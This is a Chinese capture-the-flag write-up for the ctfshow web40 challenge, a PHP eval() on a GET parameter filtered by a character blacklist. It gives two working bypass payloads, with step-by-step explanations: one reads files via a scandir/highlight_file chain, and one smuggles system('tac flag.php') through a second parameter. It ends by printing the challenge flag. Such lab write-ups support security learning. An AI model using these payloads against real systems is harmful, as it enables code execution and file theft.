【CTFWP】ctfshow-web40

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录


题目介绍:

php+HTML 复制代码
<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-04 00:12:34
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-04 06:03:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/


if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

题目分析:

  1. if(isset($_GET['c'])){:检查GET请求中是否存在参数c

  2. $c = $_GET['c'];:如果存在,将参数c的值赋给变量$c

  3. 使用正则表达式检查变量$c中是否不包含一系列特定的字符。这个正则表达式尝试排除一些可能用于代码注入的特殊字符和一些常见符号。

  4. eval($c);:如果$c变量中不包含上述正则表达式定义的任何字符,则使用eval函数执行$c中的PHP代码。这是一个非常危险的操作,因为eval会执行任何传入的PHP代码,这可能包括恶意代码。

  5. }else{:如果GET请求中没有参数c,则执行else块中的代码。

  6. highlight_file(__FILE__);:如果没有参数c,这个函数会高亮显示当前文件的内容。这通常用于调试目的,但在生产环境中使用可能会暴露敏感信息。

  7. }:结束if-else语句。

payload:

复制代码
?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));

payload解释:

这段代码尝试通过GET请求利用PHP的eval函数执行恶意代码。下面是对这段代码的分析:

  • ?c=echo highlight_file(next(array_reverse(scandir(pos(localeconv())))));:这是一个GET请求的参数c,其值是一个PHP表达式。
  1. echo:PHP中的输出函数,用于输出字符串或表达式的结果。
  2. highlight_file:PHP中的函数,用于高亮显示PHP文件的内容。
  3. next:PHP中的函数,用于将内部指针向前移动到下一个元素。
  4. array_reverse:PHP中的函数,用于反转数组元素的顺序。
  5. scandir:PHP中的函数,用于列出目录中的文件和子目录。
  6. pos:PHP中的函数,返回数组中当前元素的键名。
  7. localeconv():PHP中的函数,返回本地化的数字和货币格式信息。

具体来说,这段代码的执行流程如下:

  1. localeconv():获取本地化的数字和货币格式信息。
  2. pos(localeconv()):获取localeconv()返回数组的键名。
  3. scandir(pos(localeconv())):列出pos(localeconv())指向的目录中的文件和子目录。
  4. array_reverse(scandir(pos(localeconv()))):反转这些文件和子目录的顺序。
  5. next(array_reverse(scandir(pos(localeconv())))):将内部指针移动到下一个元素,即下一个文件或子目录。
  6. highlight_file(next(array_reverse(scandir(pos(localeconv()))))):高亮显示这个文件的内容。
  7. echo:输出这个高亮显示的内容。

payload2:

复制代码
?c=eval(next(reset(get_defined_vars())));&1=;system("tac%20flag.php");

payload2解释:

  1. ?c=eval(next(reset(get_defined_vars())));:这是GET请求的一部分,其中c参数的值是一个PHP表达式。

    • get_defined_vars():这个函数返回当前所有已定义变量的数组,包括局部变量和全局变量。
    • reset():这个函数将数组内部指针指向第一个元素,并返回该元素的值。
    • next():这个函数将数组内部指针向前移动一位,并返回当前指针处的元素值。
    • eval():这个函数执行字符串作为PHP代码。

    这段代码的目的是尝试执行get_defined_vars()返回的第一个元素的下一个元素的值作为PHP代码。

  2. &1=;system("tac%20flag.php");:这是GET请求的另一部分,尝试通过URL参数执行系统命令。

    • system():这个函数执行一个shell命令,并将完整的输出返回。
    • "tac%20flag.php":这里的命令是tac flag.phptac是反向输出文件内容的Unix命令,%20是URL编码的空格。

    这段代码的目的是尝试执行flag.php文件的反向内容。

flag

flag="ctfshow{96c8b1e3-29aa-4010-8f8f-c2437ccb6502}"

相关推荐
wha the fuck4046 分钟前
攻防世界—unseping(反序列化)
安全·序列化和反序列化
David WangYang4 小时前
基于 IOT 的安全系统,带有使用 ESP8266 的语音消息
物联网·安全·语音识别
合作小小程序员小小店5 小时前
SDN安全开发环境中常见的框架,工具,第三方库,mininet常见指令介绍
python·安全·生成对抗网络·网络安全·网络攻击模型
数据智能老司机5 小时前
实现逆向工程——汇编指令演练
安全·逆向·汇编语言
网络研究院8 小时前
新的“MadeYouReset”方法利用 HTTP/2 进行隐秘的 DoS 攻击
网络·网络协议·安全·http·攻击·漏洞
guts°8 小时前
6-服务安全检测和防御技术
安全
Whoami!12 小时前
2-3〔O҉S҉C҉P҉ ◈ 研记〕❘ 漏洞扫描▸AppScan(WEB扫描)
网络安全·信息安全·appscan·oscp
sinat_2869451917 小时前
AI应用安全 - Prompt注入攻击
人工智能·安全·prompt
sec8751 天前
tryhackme - 导言
渗透测试·tryhackme·thk·redteam
数据智能老司机1 天前
实现逆向工程——理解 x86 机器架构
安全·逆向